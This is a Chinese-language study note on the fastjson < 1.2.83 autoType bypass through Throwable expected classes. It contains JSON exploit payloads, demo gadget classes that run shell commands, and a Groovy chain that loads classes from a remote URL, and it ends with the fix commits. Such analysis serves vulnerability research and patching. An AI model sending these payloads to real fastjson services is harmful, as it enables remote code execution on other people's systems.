Java fastjson < 1.2.83 期望类异常类Throwable
前言:Java fastjson < 1.2.83 期望类异常类Throwable绕过autoype进行利用的学习笔记
参考文章:https://moonsec.top/articles/112
参考文章:https://github.com/su18/hack-fastjson-1.2.80
引子
还是之前原来的java.lang.Throwable的利用poc,发现还是通过com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer来进行调用createException来进行利用
Test_1_2_80_Exception.java
public class Test_1_2_80_Exception { public static void main(String[] args) { String userJson = "{\"@type\":\"java.lang.Exception\", \"@type\":\"com.zpchcbd.fastjson.pojo.PingException\",\"domain\":\"calculator.app\"}"; Object object2 = JSON.parseObject(userJson); } }
PingException.java
public class PingException extends Exception { private String domain; public PingException() { super(); } public String getDomain() { return domain; } public void setDomain(String domain) { this.domain = domain; } @Override public String getMessage() { try { Runtime.getRuntime().exec("open -a " + domain); } catch (IOException e) { return e.getMessage(); } return super.getMessage(); } }
< 1.2.83中的漏洞是基于Throwable入口点中寻找的,但是利用跟上面的引子触发点createException还是不一样
<1.2.83中漏洞 setter or public 参数被添加白名单导致绕过autotype
测试代码如下,参考y4er作者的文档pdf中的提供代码
MyClass.java
public class MyClass { public void setName(String name) { this.name = name; } public String name; }
MyException.java
public class MyException extends Throwable { private MyClass clazz; public void setClazz(MyClass clazz) { this.clazz = clazz; } }
Test_1_2_80_test.jaa
public class Test_1_2_80_test { public static void main(String[] args) throws Exception { String json2 = new String(Files.readAllBytes(Paths.get("fj.txt"))); try { Object parse = JSON.parse(json2); System.out.println(parse); } catch (Exception e) { e.printStackTrace(); } } }
fj.txt
{ "a":{ "@type":"java.lang.Exception", "@type":"com.zpchcbd.fastjson.pojo.MyException", "clazz":{}, "stackTrace":[] }, "b":{ "@type":"com.zpchcbd.fastjson.pojo.MyClass","name":"abc" } }
Object parse = JSON.parse(json2);,这里首先解析的就是下面这一段,那么先解析a字段,然后递归一次parseObject,如下所示
解析@type,那么拿到的就是java.lang.Exception,接着就是执行相关的checkAutoType函数,java.lang.Exception就是在缓存字段mappings中,所以直接返回,如下所示
接着就是获取对应的反序列化器,默认是存在相关对于Throwable.class判断生成对应反序列化ThrowableDeserializer对象,所以走到如下所示
接着就是执行deserializer.deserialze(this, clazz, fieldName);,来配合词法分析器来进行反序列化ThrowableDeserializer中存储的相关信息包括构造函数,setter等方法
因为这里是期望类的原因,所以成功获取com.zpchcbd.fastjson.pojo.MyException的Class对象
然后获取clazz字段和stackTrace字段信息,再通过createException实例化MyException对象
接着会在Exception的的反序列化器中进行生成MyException的反序列化器,因为MyException同样符合要求所以走的也是ThrowableDeserializer对象,如下所示
此时的ThrowableDeserializer中存储了MyException相关要进行反序列化的字段信息,如下所示,其中就包含了我们要setter的MyClass类型的clazz属性
因为要setter,所以这里TypeUtils.cast方法会对MyException的ThrowableDeserializer遍历获取fieldDeserializer来进行setter操作
TypeUtils.cast方法会对每个字段的Class对象生成createJavaBeanDeserializer,从而对clazz对象进行反序列化(反序列化的是json数据中clazz字段对象),然后进行填充,最后将其填充到MyException中的clazz的字段(填充的是MyException对象中的clazz字段setter方法)中去
这里生成的时候会讲其对应的反序列化器一起put到this.deserializers中
接着第二次进行"b"字段中的checkAutoType函数的时候,此时就能够直接获取对应的反序列器中的Class对象,在这里的话也就是MyClass类对象
那么在之后的利用中,就可以对MyClass中的相关setter或者是getter方法进行利用从而进行命令执行的操作
这里把相关的name字段进行调用,然后MyClass类中的setName方法设置会Runtime执行操作
{ "a":{ "@type":"java.lang.Exception", "@type":"com.zpchcbd.fastjson.pojo.MyException", "clazz":{}, "stackTrace":[] }, "b":{ "@type":"com.zpchcbd.fastjson.pojo.MyClass","name":"open -a calculator.app" } }
MyClass.java
public class MyClass { public void setName(String name) throws IOException { Runtime.getRuntime().exec(name); this.name = name; } public String name; }
可以发现能够进行命令执行
漏洞的利用
参考:https://github.com/su18/hack-fastjson-1.2.80
groovy远程类加载命令执行分析
groovy远程类加载命令执行漏洞利用
同样的流程,先将CompilationFailedException的unit(org.codehaus.groovy.control.ProcessingUnit)对应的反序列化器放入到反序列化器deserializers数组中去,等待第二次checkAutoType的时候进行获取
groovy1.txt
{ "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} }
同样的流程,通过期望类绕过获取JavaStubCompilationUnit,然后进行实例化JavaStubCompilationUnit
fj_groovy2.txt
{ "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type":"org.codehaus.groovy.control.CompilerConfiguration", "classpathList":"http://127.0.0.1:8090/" } }
Test_1_2_80_groovy.java
import com.alibaba.fastjson.JSON; import java.nio.file.Files; import java.nio.file.Paths; public class Test_1_2_80_groovy { public static void main(String[] args) throws Exception { String json1 = new String(Files.readAllBytes(Paths.get("fj_groovy1.txt"))); try { Object parse = JSON.parse(json1); System.out.println(parse); } catch (Exception e) { e.printStackTrace(); } String json2 = new String(Files.readAllBytes(Paths.get("fj_groovy2.txt"))); try { Object parse = JSON.parse(json2); System.out.println(parse); } catch (Exception e) { e.printStackTrace(); } } }
堆栈调用情况如下所示
doAddGlobalTransforms:238, ASTTransformationVisitor (org.codehaus.groovy.transform) addGlobalTransforms:234, ASTTransformationVisitor (org.codehaus.groovy.transform) addPhaseOperations:202, ASTTransformationVisitor (org.codehaus.groovy.transform) addPhaseOperations:288, CompilationUnit (org.codehaus.groovy.control) <init>:185, CompilationUnit (org.codehaus.groovy.control) <init>:161, CompilationUnit (org.codehaus.groovy.control) <init>:46, JavaStubCompilationUnit (org.codehaus.groovy.tools.javac) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) deserialze:1039, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:291, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:287, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:828, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:291, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) deserialze:287, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer) parseObject:405, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1430, DefaultJSONParser (com.alibaba.fastjson.parser) parse:1390, DefaultJSONParser (com.alibaba.fastjson.parser) parse:181, JSON (com.alibaba.fastjson) parse:191, JSON (com.alibaba.fastjson) parse:147, JSON (com.alibaba.fastjson) main:21, Test_1_2_80_groovy (com.zpchcbd.fastjson)
漏洞的修复
https://github.com/alibaba/fastjson/commit/560782c9ee12120304284ba98b61dc61e30324b3
加上了相关的黑名单包括aspect等等,以及在checkAutoType中deserializers操作和开启autoTypeSupport的时候都不允许Throwable.class的子类进行操作
https://github.com/alibaba/fastjson/commit/097bff1a792e39f4e0b2807faa53af0e89fbe5e0
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2019-10-16 XML传输数据导致的安全问题
2019-10-16 XML的学习